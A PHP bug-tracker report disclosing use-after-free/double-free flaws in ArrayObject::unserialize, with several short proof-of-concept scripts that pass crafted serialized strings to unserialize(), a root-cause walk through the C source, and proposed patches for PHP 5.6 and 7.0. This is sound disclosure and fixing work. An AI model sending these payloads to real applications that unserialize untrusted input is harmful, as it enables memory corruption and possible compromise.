|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2016-09-22 15:24 UTC] taoguangchen at icloud dot com
Description:
------------
i) Works on PHP 5.6
PoC:
```
<?php
$inner = 'x:i:1;O:8:"stdClass":1:{};m:a:0:{}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
unserialize($exploit);
?>
```
ii) Works on PHP 5.6 & PHP 7.0
PoC:
```
<?php
$inner = 'x:i:1;O:8:"CURLFile":1:{s:4:"name";R:1;};m:a:0:{}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
unserialize($exploit);
?>
```
Fix [against PHP 5.6]
```
diff --git a/ext/spl/spl_array.c b/ext/spl/spl_array.c
index ca93b18..0e81403 100644
--- a/ext/spl/spl_array.c
+++ b/ext/spl/spl_array.c
@@ -1757,7 +1757,7 @@ SPL_METHOD(Array, unserialize)
int buf_len;
const unsigned char *p, *s;
php_unserialize_data_t var_hash;
- zval *pmembers, *pflags = NULL;
+ zval *array, *pmembers, *pflags = NULL;
HashTable *aht;
long flags;
@@ -1810,12 +1810,15 @@ SPL_METHOD(Array, unserialize)
intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
zval_ptr_dtor(&intern->array);
ALLOC_INIT_ZVAL(intern->array);
- if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)
- || (Z_TYPE_P(intern->array) != IS_ARRAY && Z_TYPE_P(intern->array) != IS_OBJECT)) {
- zval_ptr_dtor(&intern->array);
+ ALLOC_INIT_ZVAL(array);
+ if (!php_var_unserialize(&array, &p, s + buf_len, &var_hash TSRMLS_CC)
+ || (Z_TYPE_P(array) != IS_ARRAY && Z_TYPE_P(array) != IS_OBJECT)) {
+ zval_ptr_dtor(&array);
goto outexcept;
}
- var_push_dtor(&var_hash, &intern->array);
+ var_push_dtor_no_addref(&var_hash, &array);
+ intern->array = array;
+ Z_ADDREF_P(intern->array);
}
if (*p != ';') {
goto outexcept;
```
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sat Oct 25 14:00:01 2025 UTC |
i) ``` SPL_METHOD(Array, unserialize) { ... if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC) || (Z_TYPE_P(intern->array) != IS_ARRAY && Z_TYPE_P(intern->array) != IS_OBJECT)) { zval_ptr_dtor(&intern->array); <=== call to zval_ptr_dtor goto outexcept; ``` if php_var_unserialize() call fails, the `&intern->array` will be freed via zval_ptr_dtor(). ``` retval.handle = zend_objects_store_put(intern, (zend_objects_store_dtor_t)zend_objects_destroy_object, (zend_objects_free_object_storage_t) spl_array_object_free_storage, NULL TSRMLS_CC); ``` then call to spl_array_object_free_storage in during object destruction. ``` static void spl_array_object_free_storage(void *object TSRMLS_DC) { ... zval_ptr_dtor(&intern->array); <=== call to zval_ptr_dtor again ``` the `&intern->array` will be freed again via zval_ptr_dtor(), this results in use-after-free/double-free. ii) ``` static void spl_array_object_free_storage(void *object TSRMLS_DC) { efree(object); <=== free memory ... SPL_METHOD(Array, unserialize) { ... if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC) || (Z_TYPE_P(intern->array) != IS_ARRAY && Z_TYPE_P(intern->array) != IS_OBJECT)) { zval_ptr_dtor(&intern->array); <=== use freed memory goto outexcept; ``` the CURLFile::__wakeup lead to object was freed from the memory, then call to zval_ptr_dtor handles `&intern->array`, this results in use-after-free/double-free. so my solution used the `&array` instead of the `&intern->array`, and the solution can only solve this issue.``` <?php class obj { var $ryat; function __wakeup() { $this->ryat = NULL; throw new Exception("Not a serializable object"); } } $inner = 'x:i:1;O:3:"obj":1:{s:4:"ryat";R:1;};m:a:0:{}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; unserialize($exploit); ?> ```Another way to trigger the bug ``` <?php class obj { var $ryat; function __wakeup() { $this->ryat = NULL; } } $inner = 'x:i:1;O:3:"obj":1:{s:4:"ryat";R:2;};m:a:0:{}'; $exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:4;}'; $data = unserialize($exploit); var_dump($data); ?> ```Fix: ``` diff --git a/ext/spl/spl_array.c b/ext/spl/spl_array.c index fe38735..0bb018f 100644 --- a/ext/spl/spl_array.c +++ b/ext/spl/spl_array.c @@ -1740,7 +1740,7 @@ SPL_METHOD(Array, unserialize) size_t buf_len; const unsigned char *p, *s; php_unserialize_data_t var_hash; - zval *members, *zflags; + zval *members, *zflags, *array; zend_long flags; if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &buf, &buf_len) == FAILURE) { @@ -1790,11 +1790,12 @@ SPL_METHOD(Array, unserialize) intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK; zval_ptr_dtor(&intern->array); ZVAL_UNDEF(&intern->array); - if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash) - || (Z_TYPE(intern->array) != IS_ARRAY && Z_TYPE(intern->array) != IS_OBJECT)) { + array = var_tmp_var(&var_hash); + if (!php_var_unserialize(array, &p, s + buf_len, &var_hash) + || (Z_TYPE_P(array) != IS_ARRAY && Z_TYPE_P(array) != IS_OBJECT)) { goto outexcept; } - var_push_dtor(&var_hash, &intern->array); + ZVAL_COPY(&intern->array, array); } if (*p != ';') { goto outexcept; ```